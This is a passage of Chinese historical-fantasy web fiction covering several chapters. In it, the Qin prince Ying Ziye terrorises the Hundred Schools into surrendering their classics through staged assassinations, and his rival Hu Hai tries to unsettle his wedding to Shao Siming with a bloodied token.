赢子夜抬手打断:“可有去赵高府上的?”
公孙墨玄眼中精光一闪:
“共有七家。名家公孙玲珑、农家几个代表,还有……”
他压低声音。
“阴阳家一名小弟子。”
“阴阳家都有?”
赢子夜嘴角微扬,玄色衣袍上的暗金纹在烛光下若隐若现。
“赵高这条老狗,爪子伸得够长。”
公孙墨玄谨慎进言:
“要不要属下派人……”
“不必。”
赢子夜起身走向窗前,月光为
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他镀上一层银边。
“既然罗网想掺和,那就让他们掺和。”
他转身时,瞳孔中闪过一丝危险的光芒:
“那些暗中投靠赵高的,明面上可都是支持帝宫之学的‘忠臣’啊。”
公孙墨玄先是一愣,随即会意:
“主上英明!若我们此刻揭穿,赵高大可辩称是在为主上笼络人心。”
“所以……”
赢子夜指尖轻抚腰间佩剑。
“我们要帮百家……清理门户。”
“属下明白了。”
公孙墨玄深深一揖。
“这就安排暗河潜入各派本部,引导守旧派除掉这些‘叛徒’。”
赢子夜满意地点头:
“记住,要做得自然。比如……”
他随手拿起一枚黑子放在棋盘上。
“让国师星魂发现他们阴阳家弟子私通罗网的‘证据’。”
“诺!”
公孙墨玄眼中闪过狠厉。
“正好,阴阳家最恨叛徒。”
“还有。”
赢子夜突然想起什么。
“农家那边,重点‘关照’田蜜的人。”
公孙墨玄会意:
“田蜜?,此人其心腹多是……”
“不。”
赢子夜摇头。
“留着她,一个明面上的叛徒,比十个暗桩更有用。”
远处传来更夫的梆子声,在寂静的夜里格外清晰。
赢子夜望向窗外咸阳城的轮廓,忽然问道:
“你说,此刻赵高在做什么?”
就在这时,书房门被轻轻叩响。
赵弋苍铁面森寒,单膝跪地:
“主上,刚收到消息,胜七已抵达大泽山。”
“哦?”
赢子夜眼中金光大盛。
“看来农家这出戏,比预计的还要早开幕啊。”
公孙墨玄若有所思:
“主上,要不要趁机……”
“按原计划进行。”
赢子夜抬手制止。
“让暗河的人引导胜七去找吴旷,这对‘生死兄弟’重逢,定会十分感人。”
赵弋苍铁面下传来一声冷笑:
“属下这就去安排,不过……盖聂和逍遥子估计已经被转移了。”
“无妨。”
赢子夜转身望向血月。
“这场大戏,观众越多越好。”
……
夜更深了。
咸阳城中,无数飞鸽振翅而起,带着各自的主人的密信飞向四面八方。
而在阴影处,更多看不见的黑手正在悄然运作。
有人要借刀**,有人要清理门户,还有人…正冷眼旁观,等待收割最终的胜利。
赢子夜独自立于窗前,玄色衣袍在血月下如泼墨般晕开。
他忽然轻声道:
“传令萧何,三日后公布第一批入选帝宫之学的典籍名单。”
“这么快?”公孙墨玄惊讶道。
“那些百家恐怕还在犹豫,只会拖延时间,让局面更乱。”
“就是要他们乱。”
赢子夜瞳孔中倒映着血月。
“不乱,怎么看清谁是鬼,谁是神?”
公孙墨玄与赵弋苍对视一眼,同时深深拜下:
“主上圣明!”
风起云涌,一场席卷诸子百家的风暴,正从这座小小的书房蔓延开去。
而那些自以为在暗中操纵棋局的人,终将发现……
自己不过也是棋盘上的一枚棋子罢了。
第131章 胡亥的特别礼物!
翌日清晨。
咸阳宫内钟鼓齐鸣,文武百官分列两侧。
赢子夜一袭玄色朝服立于殿中,神色平静。
月神缓步上前,紫色长裙曳地,薄纱下的双眸如深潭般幽邃。
“陛下。”
她声音清冷,“阴阳家已择定吉日,七日之后便是良辰。”
扶苏眉头微蹙,持笏出列。
“父皇,七日未免太过仓促,六弟大婚乃国之大事,若因时日短促而失了礼数……”
始皇帝冕旒轻晃,目光如炬。
“朕已命少府全力筹办,钱财用度无需顾虑。”
他略一停顿。
“至于礼数,朕看阴阳家与子夜皆非拘泥之人,一切从简即可。”
李斯见状,立刻躬身附和。
“陛下圣明,六公子与少司命联姻,乃阴阳家与大秦之幸,七日虽短,却正显天意。”
淳于越站在文官队列中,手指紧攥玉笏,指节发白。
他嘴唇微颤,似想反驳,却被身旁同僚悄悄拉住衣袖。
那老儒生最终只是深深低头,浑浊的眼中满是隐忍与不甘。
始皇帝扫视群臣,忽然又道。
“另有一事,半月后的祭天大典,改由子夜主持!”
殿中顿时一片死寂。
淳于越猛地抬头,花白胡须剧烈颤抖,却在对上皇帝目光的瞬间颓然垂首。
他身后几名儒家博士面面相觑,终究无人敢出一言。
蒙毅铠甲轻响,朗声道。
“臣以为六公子德才兼备,正合主持大典!”
赵高立于阴影处,苍白面容浮现一丝阴鸷,却很快化作谄笑。
“陛下慧眼如炬,老奴这就吩咐罗网加强戒备,确保大典万无一失。”
始皇帝微微颔首,目光落在赢子夜身上。
“子夜,你可有异议?”
赢子夜从容行礼。
“儿臣谨遵父皇之命。”
“好!”
始皇帝袖袍一挥。
“众卿需精心准备贺礼,若有人敷衍了事……”
他目光扫过淳于越等人。
“朕…必当重罚!!”
淳于越额头渗出冷汗,手中玉笏“咔”地裂开一道细缝。
他死死盯着地面,喉头滚动数下,终是哑声道。
“老臣……遵旨。”
退朝时,扶苏快步追上赢子夜,温润如玉的面容带着忧虑。
“六弟,祭天大典非同小可,若有需要为兄协助之处……”
赢子夜驻足,淡淡道。
“长兄多虑了。”
他望向远处灰蒙蒙的天际。
“既然父皇信任,我自当全力以赴。”
……
十八公子府内。
檀香袅袅。
胡亥赤着脚踩在雪白的狐裘毯上,手中把玩着一枚青铜令牌。
令牌上“侠魁”二字早已斑驳,边缘还沾着几丝暗红。
“老师,你说六哥会喜欢这份贺礼吗?”
他歪着头,天真无邪地眨着眼,指尖轻轻摩挲着令牌上的血迹。
赵高从阴影中缓步走出,细长的眼睛眯成一条缝。
“公子此计甚妙,这侠魁令在农家失踪多年,如今突然现世……”
“突然出现在六哥手里。”
胡亥咯咯笑起来,像得了糖的孩子般雀跃。
“那些农家莽夫会怎么想呢?”
他突然凑近赵高,声音陡然转冷。
“会以为是六哥杀了他们的侠魁吧?”
窗外一阵秋风卷入,烛火剧烈摇晃。
六剑奴中的转魄悄然现身,单膝跪地。
“公子,密报称神农堂朱家已暗中转移盖聂和逍遥子。”
胡亥闻言,眼中闪过一丝兴奋。
“呀,这下更有趣了。”
他蹦跳着来到案几前,取出一方锦盒,小心翼翼地将令牌放入。
“要包得漂亮些,毕竟是送给六哥的新婚贺礼呢。”
赵高阴恻恻地补充:
“农家十万弟子,如今四分五裂。”
“烈山堂田言、蚩尤堂田虎,还有那个……田蜜。”
他意味深长地顿了顿。
“任谁拿到这令牌,都只会让农家更乱。”
“乱才好呀。”
胡亥哼着小曲,用丝带仔细系好锦盒。
“六哥不是最喜欢收拾烂摊子吗?”
他突然想到什么,转身对灭魂吩咐。
“去告诉田蜜,就说……她的老情人胜七要回来了。”
赵高微微躬身。
“公子高明,胜七若与吴旷重逢,定会追查当年真相,届时这侠魁令……”
“就是压死骆驼的最后一根稻草!!”
胡亥甜甜地接话,手指轻轻抚过锦盒上的花纹。
“六哥那么聪明,一定会明白我的心意。”
他忽然踮起脚尖,将锦盒举到月光下细细端详,稚嫩的脸上浮现出病态的满足。
“老师你看,这血迹多像嫁衣的颜色。”
“六哥大婚当日收到这份贺礼,该有多惊喜啊。”
转魄与灭魂对视一
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眼,默默退入阴影。
赵高垂首而立,嘴角勾起一抹阴笑。
“老奴这就安排人手,确保这份‘心意’能及时送到六公子手中。”
胡亥突然将锦盒紧紧抱在胸前,像孩童护着心爱的玩具。
“不行,我要亲自送给六哥。”
他眼中闪着诡异的光。
“我要亲眼看看他的表情。”
声音渐渐低不可闻。
“一定……很有趣呢。”
……
夜色如墨。
大泽山深处的农家神农堂内,朱家那张“怒”字面具在烛火下格外狰狞。
他猛地将酒樽砸在地上,酒液溅湿了典庆的衣袍。
“好一个赢子夜!”
朱家声音嘶哑。
“让咱们把祖传的《神农百草经》交出去?他做梦!”
司徒**把玩着铜钱,眼中闪烁着算计。
“老朱,消消气。”
“那帝宫之学说是收录百家典籍,谁知道是不是要把咱们一网打尽?”
角落里,刘季懒散地靠在柱子上,嘴角挂着玩世不恭的笑。
“要我说,交几页无关紧要的上去糊弄糊弄得了,难不成那六公子还真敢把诸子百家都杀光?”
“他不敢!”
朱家拍案而起,面具上的“怒”字狰狞无比。
“当初灭机关城才杀了多少墨家弟子?咱们农家十万弟子,他动得起吗?”
……
与此同时,小圣贤庄的密室中,伏念将竹简重重合上。
颜路轻叹一声。
“师兄,真要交《论语》真本?”
“交?”
伏念冷笑。
“把那些注释‘民贵君轻’的篇章都撤下来,重新编一册给他。”
他手指轻轻敲击案几。
“我倒要看看,这位六公子能拿我们儒家怎样。”
……
夜色更深了。
医家淳于意将一包药粉交给心腹弟子,低声道。
“明日去把这‘清心散’交给你那几位师兄。”
“记住,要看着他们喝下去。”
杂家院落里,许慎将一卷竹简投入火盆,火光映照着他狰狞的面容。
“赢子夜想要《吕氏春秋》真本?”
“让他去下面找吕不韦要吧!”
而在阴影处,一双双眼睛正默默注视着这一切。
暗河的刺客悄无声息地记录着每个人的言行,铁面在月光下泛着寒光。
“主上说得没错,这些蛀虫……果然都活腻了。”
第132章 百家献册!
数日后。
清晨的薄雾笼罩着六公子府邸。
赢子夜站在屋内,指尖轻抚着一枚青玉符箓。
玉符微微发烫,昭鞅沙哑的声音从中传出:
“主上,刚收到消息。”
“儒家三庄主张良昨夜秘密处决了两名亲传弟子,罪名是‘私通罗网’。”
“农家那边更狠,他们直接让典庆把三个亲信弟子活活捶成了肉泥。”
赢子夜嘴角泛起一丝冷笑:
“倒是够狠。”
玉符继续震动:
“不过属下观察,这些人实力不济。”
“农家杀的那三个,有两个是田蜜安插的眼线,本该由哑奴出手,结果典庆那莽夫差点让人跑了。”
“有趣。”
赢子夜轻轻摩挲着玉符,
“既然他们要清理门户,我们不妨帮一把。”
“让公孙墨玄调一队暗河好手,务必确保——”
他顿了顿。
“这些叛徒死得干净利落。”
“诺!”
昭鞅的声音带着兴奋,
“对了,医家那边更可笑,淳于意那老东西居然想给自己的大弟子二弟子下毒,结果被自己的药童出卖了。”
“要不要……”
“留着他。”
赢子夜打断道,
“让暗河的人把那个药童处理掉,给淳于意送份‘大礼’。”
“让他们想清楚,选什么立场。”
玉符那头传来昭鞅的狞笑:
“主上高明!属下这就去办。”
刚收起玉符,赵弋苍铁塔般的身影已单膝跪在身后:
“主上,阴阳家那边有异动。”
“星魂昨夜秘密处决了三名弟子,其中一人…是月神的亲信。”
赢子夜眼中闪过一丝玩味:
“看来我们的国师大人,也开始坐不住了。”
“这是要借势**啊?”
他转身望向咸阳宫方向。
“传令下去,凡是诸子百家要杀的人,暗河必须确保他们死透。”
“必要时——”
他声音渐冷。
“可以帮他们多杀几个。”
赵弋苍铁面下的眼睛精光暴射:
“属下明白,正好趁机把罗网在百家的钉子一并拔了。”
“还能趁机分化百家各自的派系矛盾!”
赢子夜轻轻颔首,突然问道:
“胡亥那边有什么动静?”
“十八公子近日闭门不出。”
赵弋苍语气凝重。
“但今早密探发现,六剑奴中的转魄灭魂偷偷去了趟农家驻地。”
“果然沉不住气了。”
赢子夜轻笑一声,
“继续盯着。”
就在这时,庭院外传来轻盈的脚步声。
少司命紫衣翩跹而来,面纱下的眸子清冷如霜。
赢子夜摆摆手,赵弋苍立刻隐入阴影。
推开书房门,却见少司命静静立在廊下。
她今日未戴面纱,紫发用一根素白丝带松松挽着,手里捧着个雕花食盒。
见他出来,那双总是清冷的眸子微微垂下,竟透出几分罕见的局促。
“这是…”
赢子夜挑眉看向食盒。
少司命指尖轻颤,将食盒举高了些。
盒盖掀开,里面整齐码着几样小菜——
桂花糯米藕片切得薄如蝉翼,银鱼羹还冒着热气,甚至还有一碟形似梅花的酥饼。
“你做的?”
赢子夜难得露出诧异之色。
见少女轻轻点头,他忽然低笑出声:
“阴阳家少司命,何时学会这些了?”
紫衣少女耳尖微红:“大婚在即…该学的。”
她像是害羞了。
赢子夜捻起一块酥饼,甜香在唇齿间化开。
他忽然伸手拂去她颊边沾的面粉:
“东皇太一知道他的天才长老在我这儿学厨艺么?”
少司命身子一僵。
赢子夜却已经转身走向石桌,漫不经心道:“过来坐。”
待她迟疑着跪坐对面,他才缓缓开口:“七日后,你我不只是夫妻。”
指尖敲了敲食盒。
“更是同舟共济的盟友。”
庭院里晨露未晞,他的声音比露水还凉:
“有些事,你现在就要想清楚。”
一片落叶飘到食盒上,被他随手碾碎。
“阴阳家……还是我。”
少司命紫瞳骤缩。
远处恰好传来晓梦与侍卫的交谈声,赢子夜意味深长地望向声源处:
“就像天宗那位,就很明白该站在哪边。”
沉默良久。
一只蝴蝶落在少司命袖口,她突然轻声开口:“自戴上凤冠那刻,妾身只是赢氏妇。”
晨光映得她眉眼如画,竟透出几分决绝。
赢子夜忽然轻笑出声,伸手揉了揉她发顶:
“乖。”
这个亲昵动作让少女整个人都僵住了,
“不过……”
他凑近她耳畔,温热呼吸拂过耳垂。
“下次做酥饼,少放半钱糖。”
少司命倏地睁大眼睛,却见那人已经施施然起身走向院门。
晨光里,赢子夜背对着她摆了摆手:
“去换身衣裳,午时随我入宫谢恩。”
顿了顿,
“穿那件绣金蝶的,既然是赢家媳妇,就该有媳妇的样子。”
身后传来轻微的布料摩擦声,少女行礼时发梢扫过石阶的声响。
赢子夜嘴角微扬,心想东皇太一恐怕做梦也想不到,他亲手培养的利刃,如今正学着为他最忌惮的人挽发调羹。
……
与此同时。
萧何站在帝宫之学的藏书阁内,手中竹简堆得几乎
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要淹没案几。
窗外蝉鸣阵阵,却掩不住阁内此起彼伏的研墨声与低语。
“萧大人请看。”
一个青衫儒生恭敬奉上绢册,
“这是《论语》新注本,弟子已将‘民贵君轻’等十二处争议章句悉数修订。”
他袖口还沾着墨渍,眼下乌青却掩不住兴奋。
“家师伏念特意嘱咐,务必合六公子心意。”
隔壁案几突然传来“咚”的一声。
只见农家代表大咧咧将一捆竹简拍在桌上:
“我们把《神农百草经》里那些毒方都改成救人的了!”
他咧嘴一笑。
“朱堂主说啦,往后农家只种地不制毒,这才叫顺应天意!”
角落里,阴阳家一名紫衣弟子正小心翼翼展开星图。
他指尖凝聚的幽蓝光芒在绢帛上勾勒出全新星象:
“右**月神有令,阴阳家《占星密卷》从此去尽杀伐之术。”
说着偷瞄了眼门外持剑而立的暗卫,额头渗出细汗:
“只、只留祈福禳灾之法。”
萧何指尖微颤地抚过这些典籍。
三个月前,这些还是各派镇门之宝,如今却像温顺的羊群般齐聚于此。
他忽然被一阵药香吸引。
只见医家淳于意正带着三名弟子研磨药粉,老人脸上再不见当初的愤懑,反倒堆满谄笑:
“萧大人,这是新编的《青囊经》,老朽把以毒攻毒的方子全换成了食补……”
“萧大人!”
名家公孙丑捧着竹简匆匆跑来!
“在下已将‘白马非马’论重新阐释。”
他抹了把汗,
“如今这论调证明的是,大秦律法如白马般鲜明独一,岂是六国余孽能妄议的?”
窗外暮鼓响起时,萧何独自登上阁楼。
夕阳将百余张伏案疾书的身影拉得很长,像一幅流动的画卷。
他忽然按住狂跳的心口。
这些正在重写的岂止是典籍?
分明是诸子百家的脊梁!
“大人。”
身后传来陈平的声音。
“兵家代表刚送来《孙子兵法》新注,竟将‘攻城之法’全改成了‘守城之策’。”
递来的竹简上。
“不战而屈人之兵”几个字被朱砂描得猩红刺目。
萧何突然笑出声来。
笑声惊飞檐下燕子,也惊醒了沉醉在青史幻梦中的自己。
他摩挲着案头那卷空白竹简,喃喃道:
“尔等今日重写百家典籍……”
手指突然用力到发白,
“来日史官笔下,怕是要将诸子百家统统写成大秦忠犬了。”
最后一缕阳光掠过他颤抖的指尖,照在阁中新制的匾额上。
“帝宫之学”四个篆字……
金光流转,宛若活物。
第133章 帝宫之学,执掌百家!
夜色如墨。
赢子夜站在窗前,指尖轻轻敲击着窗棂。
公孙墨玄躬身在侧,手中捧着的竹简上密密麻麻记录着各家异动。
“主上,杂家许慎表面献上《吕氏春秋》修订本,实则暗藏七卷真本于密室。”
“名家公孙玲珑更荒唐,交上来的《名实论》竟有三成是伪作。”
赢子夜忽然轻笑一声,惊飞了檐下一只夜枭。
他转身时,烛火将他的影子拉得很长,几乎要吞没整面墙壁。
“看来前几日那把火,烧得还不够旺。”
公孙墨玄会意,从袖中抽出一份名册。
“这些是仍怀二心之人,杂家许慎、医家淳于意的三弟子、兵家……”
话未说完,赢子夜已经抬手制止。
“许慎。”
他轻轻吐出这个名字,像在品尝某种**。
“我记得他有个嗜好?”
“每夜子时必饮醒神汤,雷打不动。”
公孙墨玄眼中精光一闪。
“所用雪灵芝只从终南山采摘,由亲传弟子……”
“那就让他的好弟子,亲手端上最后一碗汤。”
赢子夜指尖划过名册,在“许慎”二字上按出一个凹痕。
“至于其他人。”
他忽然望向窗外。
“一样的下场。”
……
三更梆子响时,杂家院落突然腾起冲天火光。
许慎的惨叫划破夜空。
“逆徒!你竟在药里下……”
声音戛然而止。
赶来救火的邻居们只看到梁柱轰然倒塌,将那个总是高谈“杂而有序”的老者永远埋在灰烬里。
没有人看见是谁点的火。
没有人看见许慎是如何倒下的。
只是在火光燃尽后,残垣间出现了一只焦黑却未焚尽的竹简,其上“天下杂而归一”五字模糊不清,仿佛在为主人的信念作最后的辩解。
……
同一时刻,兵家驻地。
年迈的教**在睡梦中被一抹剑光封喉,喉间连一点血声都未溅出,死前眼睛还睁着,仿佛尚未察觉死亡已至。
枕边那卷《孙子兵法》的竹简被人抽走,换上了帝宫之学颁发的修订本。
门窗完好,更无破门之迹,仿佛夜风吹进来,又悄无声息地离去。
……
最蹊跷的是名家公孙玲珑。
清晨。
侍女发现她瘫在妆台前,孔雀羽扇跌落在脚边,脸上还凝固着惊恐的表情。
验尸的仵作在她喉咙里找到半片竹简,上面“白马非马”四个字被血浸得模糊不清。
书房内另一本《辩名录》不翼而飞,取而代之的是一页空白竹片。
上书三个朱红小字:
“是即死”。
……
“听说了吗?”
咸阳酒肆里,一个儒家弟子抖着嗓子对同伴说。
“许慎是被自己研制的**……”
话未说完突然噎住。
邻桌有个人正慢条斯理地擦拭**。
刀锋在布巾上缓缓来回,仿佛是用力思索某种道理。
空气仿佛都被压低了温度,周围人不敢说话,连杯中清酒都失了温。
……
短短三日。
五位百家中人先后身死。
或焚或毒,或刺或缢,皆无确凿证据,连尸身都被处理得干干净净!
宫中未发一语,御史府未发一言。
连朝堂上,也无人提起。
只留下遍城流言与惶惶不安的窃语!!
咸阳震动!
那些尚未归顺帝宫之学的学者们纷纷闭门谢客,有的焚书,有的远遁。
有的,连夜将密藏的旧典献出,还附上一纸**,表忠明志!
更有甚者,脱离本家,改籍求入帝宫门下,甘为书吏,只求苟全性命。
一夜之间,百家震悚!!!
尤其是那些心存侥幸者,此刻更如惊弓之鸟,战战兢兢,不知下一个名录中会不会写着自己的名字。
帝宫之学尚未正式立制,百家已先行俯首。
……
正午时分。
赢子夜在帝宫之学门前迎接前来献书的百家代表。
玉阶之上,玄鸟石柱静默矗立,阶下列队之人却神色各异。
有的低头哈腰,手中竹册微微颤抖,像是捧着一炷即将熄灭的香火。
有的神情木然,目光却频频扫向四周,似在寻找可以逃脱的路径
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。
更多的人,则是硬着头皮走来,脸上带着强笑,眼底却浮着浓得化不开的恐惧。
他们中不乏先前高谈阔论的名士,或曾在百家争鸣之时挥斥方遒者。
而今,却一个个低着头,像极了被拔了羽的鹤,只敢俯身不敢出声。
赢子夜亲手接过新编的《吕氏春秋》,竹简封面仍有未干的墨迹,隐隐透着草率与慌张。
对跪在地上瑟瑟发抖的杂家弟子,他却温声道。
“许先生不幸遭难,本公子甚是痛心。”
指尖抚过竹简上那行新题的书名。
“这修订本,想必是他临终绝笔吧?”
那名弟子全身冷汗直流,嘴唇哆嗦,险些将额头磕碎在石阶上。
“是……是的。”
“师尊生前念念不忘帝宫之学,特命我等整理遗稿,谨献上……”
赢子夜笑而不语,只是轻轻点头,将竹简交予身后侍者。
他眼角余光掠过下方。
一名医家学者刚将手中竹册呈出,便整个人几乎瘫软下去。
扶他的同门连忙搀起,连连告罪,神情惶恐得如履薄冰。
又一名兵家代表上前,膝行三步才敢抬头,双手高举献册之时,竟不慎将其中一卷掉落。
侍从上前拾起。
赢子夜淡淡瞥了一眼:“掉了的,是原稿?”
那兵家人瞬间面如死灰,连连磕头:“不、不敢欺瞒主上,是手抄副本,原卷早已烧毁。烧毁……”
他磕头的声音在石阶上回响,响得刺耳,又响得绝望。
“嗯。”
赢子夜的声音平静无波。
“忠诚可嘉。”
说罢,他不再理会,转身登阶而上。
背后的人仿佛才得了赦令,重重喘出一口气。
今日之后。
帝宫之学将彻底掌控典籍、版本与释义,百家之书皆需“修订”、再度“定名”。
再无人能持原典据理力争,再无哪个家派能逍遥于朝命之外!
因为不光是诸子百家,就连他们内部的各大派系、山头,都被洗刷了一遍又一遍!!
太阳越升越高,阶前石地泛着光,仿佛也嗅出了这血色肃杀。
第134章 大秦六公子大婚,百家献礼!
当晚,萧何呈上新名录时忍不住感叹。
“公子,如今各家交来的典籍,比原先多了三成,已收录典籍共计三千六百卷!”
“儒家交出了《礼经》全本,连荀子的《劝学篇》原本都……”
“有的连祖传注疏都带来了,甚至主动要求入学供职。”
赢子夜正在批阅奏章,闻言头也不抬。
“早这样多好。”
“非要本公子帮他们认清时务。”
朱笔在竹简上划出一道刺目的红。
“所以,他们是不是准备走了?”
萧何一怔,竹简差点脱手。
“公子明鉴。”
“张良今早递了辞行帖,说小圣贤庄不可无人主持。”
“农家的人也借口春耕在即……”
他说着偷瞄赢子夜的神色,却见他的嘴角竟浮起一丝笑意。
“急什么。”
赢子夜抬头看向萧何。
“本公子大婚在即,让他们喝完喜酒再走。”
萧何躬身领命。
“下官这就去传话。”
他刚要退下,却听赢子夜又道:
“本公子记得,招贤馆里有个叫易乙的儒生…”
萧何心头一跳。
“此人精通典章制度……”
“你再挑二十个这样的。”
赢子夜用笔尾轻轻敲击石栏。
“从明天起,让他们跟着百家的人一起编书。”
金属碰撞声里,他的声音格外轻柔。
“本公子要他们……好好学学诸子百家的精髓。”
萧何突然福至心灵。
这是要安插眼线!
那些招贤馆的寒门士子,可不比百家弟子更听话?
他激动得声音都发颤。
“下官这就去办!定选些过目不忘的聪明人……”
“萧何。”
赢子夜突然打断他。
“你可知当年吕不韦编《吕氏春秋》,为何要悬赏千金求改一字?”
萧何愣在原地。
只见公子抬手抚过案旁海棠新绽的花苞,指尖一捻,鲜红汁液顺着指缝滴落。
“他是想让世人知道,典章不可轻改。”
“可在我看来……只有**,才最守规矩。”
“——记住本公子的话。”
一阵穿堂风掠过,萧何官袍瞬间被冷汗浸透。
他深深拜下时,听见赢子夜带笑的声音从头顶传来:
“去准备吧!大婚之日,本公子要看到诸子百家的人……一个不少。”
……
大婚前三日,咸阳城已是一片欢腾。
黑绸如云般从城头垂落。
玄色灯笼在风中摇曳。
连街边摊贩都换上了墨色布幌。
少府工匠日夜赶工,将六公子府邸装点得庄重华贵。
乌木廊柱缠着银丝。
玄玉铺就的甬道两侧立着青铜鹤灯。
连喜幛都是用深青染就的鲛绡,在日光下泛着幽蓝光泽。
“再往左些。”
公孙墨玄指挥着仆役悬挂匾额。
那“秦晋之好”四个篆字是用陨铁熔铸而成,在黑色底衬上泛着冷光。
他转身对捧着礼单的属官皱眉:“阴阳家送来的东海明珠,怎么还没嵌到冠冕上?”
属官擦着汗道:“他们派来的人亲自盯着呢,说要用星轨排列……”
府外长街上,蒙毅正带着黑甲卫肃清道路。
他拍开一坛酒浇在青铜戟上,对副将笑道:“明日这戟刃得亮得能照见人影!”
“要是让那些百家的人看了笑话……”
话未说完,远处突然传来喧哗。
只见农家代表带着十几个弟子,扛着用黑黍扎成的‘囍’字牌匾摇摇晃晃走来。
嘴里还嚷着:“让让!这可是我们神农堂的贺礼!”
与此同时,小圣贤庄的马车缓缓驶入城门。
张良掀开车帘,望着满城玄色,对身旁副手低声道:“以黑为喜,倒是契合法度。”
副手却盯着路边巡逻的暗卫,轻叹:“只怕这喜宴…是场毒宴啊。”
大婚当日,天还未亮,少司命就已端坐在铜镜前。
紫发被绾成端庄的**髻,点缀着墨玉雕成的蝶簪。
大司命捧着玄色嫁衣进来时,忍不住啧了一声:“东皇首领要是看见他的少司命穿成这样…”
话音未落,少女突然抬眼,眸中紫光乍现,吓得大司命后退半步。
“吉时到——”
随着礼官长喝,六公子府中编钟齐鸣。
玄鸟楼上,礼官高举玉册宣礼,朗声道:“依古制,成婚当行六礼。今吉日良辰,先行纳采、问名、纳吉三礼,贺礼既成,礼官**。”
百官依
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序将贺礼呈上。
兵家孙武后人献上“金戈玉戟”,声称愿六公子战功赫赫、家室平安。
医家淳于意、扈恒等人捧出一盏“百草汤鼎”,内藏四十九味奇香,寓意百子千孙。
公输仇奉上一座“机心琴台”,可自鸣应律,据说能识主心意弹奏安魂曲。
最引人注目的是法家李斯,抬出一口雕满刑文的玄棺。
声称为“法匣”,用于藏卷立典,昭示新婚之后“以法治室、以律齐家”。
赢子夜负手而立,面上看不出喜怒。
直到那法匣被陈于玉阶之侧,他才轻轻点了点头:“丞相一片苦心。”
礼官躬身从旁附言:“诸位贺礼皆可入礼册,准行大婚六礼。”
当即宣令:“纳征、请期、亲迎三礼,依时行之!”
编钟再次大鸣!!
赢子夜身着玄色锦袍,腰间玉带上蟠螭纹在晨光中若隐若现。
他站在九阶玉台上,看着少司命被阴阳家众人簇拥而来。
那嫁衣层层叠叠却不见半点杂色。
唯有袖口金线绣着的星图随着步伐流转,恍如夜空中的宿命轨迹。
然而,就在这时。
“十八公子到——”
胡亥清脆的嗓音让大殿骤然安静。
他蹦跳着穿过人群,锦盒上的金锁叮当作响:“六哥六哥!小弟的贺礼保管让你惊喜!”
众人眼神纷纷聚焦过来,或疑惑,或忌惮。
李斯下意识抿了抿唇,目光掠过锦盒,却又悄悄瞥向赢子夜。
赢子夜则静静站着,眼角的笑意不增不减:“十八弟的惊喜,想必非比寻常。”
“那是当然。”
胡亥笑容越发灿烂,脚步轻快地踏上玉阶,一步一步靠近主位。
“六哥放心,小弟听说您最近烦事不少,所以特意找了件能解闷的东西。”
他说话时脸上是少年惯有的天真,然而眼底深处却隐隐浮出一丝难以察觉的兴奋。
气氛越来越凝重。
少司命眉头轻蹙,紫眸一闪而逝。
嬴子夜眼帘低垂,像是无意看那锦盒,又像是早已看穿其中玄机。
胡亥终于走到玉阶之巅,缓缓停下,抬手放在盒盖之上。
“那六哥,可要睁大眼睛喽——”
说着猛地掀开盒盖。
第135章 侠魁令,现!!!
青铜令牌上。
“侠魁”二字赫然映入眼帘,边缘还沾着暗红污渍。
殿中温度仿佛骤降!!!
农家弟子们手中的酒樽当啷落地!
几名代表更是脸色煞白地揪住了衣领。
胡亥眨着无辜的大眼睛。
“这令牌乃是农家侠魁每十年一次现身江湖的悬赏令牌,八百年来只能经由历任农家侠魁之手发布!”
“可是小弟费了好大功夫才找到的呢!”
赢子夜指尖抚过令牌上干涸的血迹。
忽然轻笑出声:“十八弟有心了。”
他随手将令牌递给身旁的赵弋苍。
“正好本公子缺个镇纸。”
胡亥笑容僵了僵,又立刻雀跃道:“六哥喜欢就好!”
殿角传来杯盘碎裂声。
只见农家代表仓皇起身,酒水打湿了衣服尚且不知觉。
而赢子夜却连眼皮都没抬。
只是对胡亥举杯:“十八弟既然对农家如此了解,不如改日帮为兄…整顿整顿?”
那声音温和如旧,尾音甚至带着几分轻笑。
可落在胡亥耳中,却像寒冰贴骨,直刺脊梁。
一滴冷汗从他额角滑落。
他强笑着后退:“六哥说笑了,小弟哪懂这些……”
笑容已经僵硬,嘴角肌肉不受控制地微微抽搐。
他感觉到无数道目光从殿中投来,有冷淡的,有探究的,也有不加掩饰的幸灾乐祸。
而赢子夜仿佛全然未察,只是神色自若地又与旁人举杯寒暄,唇角仍挂着意味不明的笑意。
胡亥站在原地,脚底仿佛黏在地砖上,竟不知该走向哪里。
锦盒已经被宫人悄然收走。
但他觉得自己的手指仍然残留着那块令牌的凉意。
甚至透着微微的腥甜……
盯着赢子夜又向别处举杯的身姿,他突然觉得手中蜜饯索然无味。
下意识地将蜜饯塞进嘴里,嚼得极慢。
甜味却像是在唇齿间发酵,腻得恶心。
他无意识地啃着指甲,像小时候在丹阳宫里被关禁闭时的习惯。
直到一股铁锈味在舌尖弥散,他才猛然惊醒!
……
半柱香后,六公子府中已是一片肃穆。
玄色帷幔垂落如夜,青铜鹤灯吐着幽蓝火焰,将庭院映得恍如星汉。
礼官身着墨色深衣,手持玉圭立于阶前,声若洪钟:“吉时已至,行纳采礼——”
赢子夜身着玄端礼服,腰间玉组佩轻叩,步履沉稳地行至庭中。
少司命被阴阳家女眷簇拥而来,紫色长发今日尽数绾起,唯余鬓角两缕用银丝缠就,垂在玄色嫁衣前。
她低垂着眼睫,指尖却在袖中微微发颤。
“问名!”
礼官捧出玉牒,赢子夜执笔蘸墨,在牒上写下“赢子夜”三字。
少司命接过另一支笔,笔尖悬在牒上顿了顿,终是落下两字。
这是东皇太一赐她的姓氏,从未示人。
“纳吉!”
月神捧着星盘上前,指尖划过盘上星轨:“紫微临照,天作之合。”
话音未落,星盘突然迸发刺目光芒,惊得周围侍女**半步。
赢子夜却面不改色,只将一枚玄玉璧放入少司命掌心。
玉璧触肤生温,竟与她眸色一模一样。
“纳征!”
十二名暗河侍卫抬着鎏金漆箱鱼贯而入。
箱开时,满庭惊呼!
里面既无金珠也无绫罗,唯有整齐码放的竹简。
张良坐在席间,手中铜板突然烫手般转了转。
他看得分明,那最上面一卷,分明是墨家《非攻》真迹。
“请期!”
礼官展开龟甲,裂纹恰成“壬戌”二字。
赢子夜忽然侧首,对少司命低声道:“七日前在楼亭上,你说子时星象最美。”
少女睫毛轻颤,脸色微红。
“亲迎!”
阴阳家众人退开一条路。
少司命迈步时,嫁衣下摆金线绣的星图忽然流转,恍如银河倾泻。
赢子夜伸手虚扶,却在触及她袖口时捻走一片竹叶。
叶脉上用阴阳术刻着“蜃楼”二字。
六礼既成,新人入洞房!
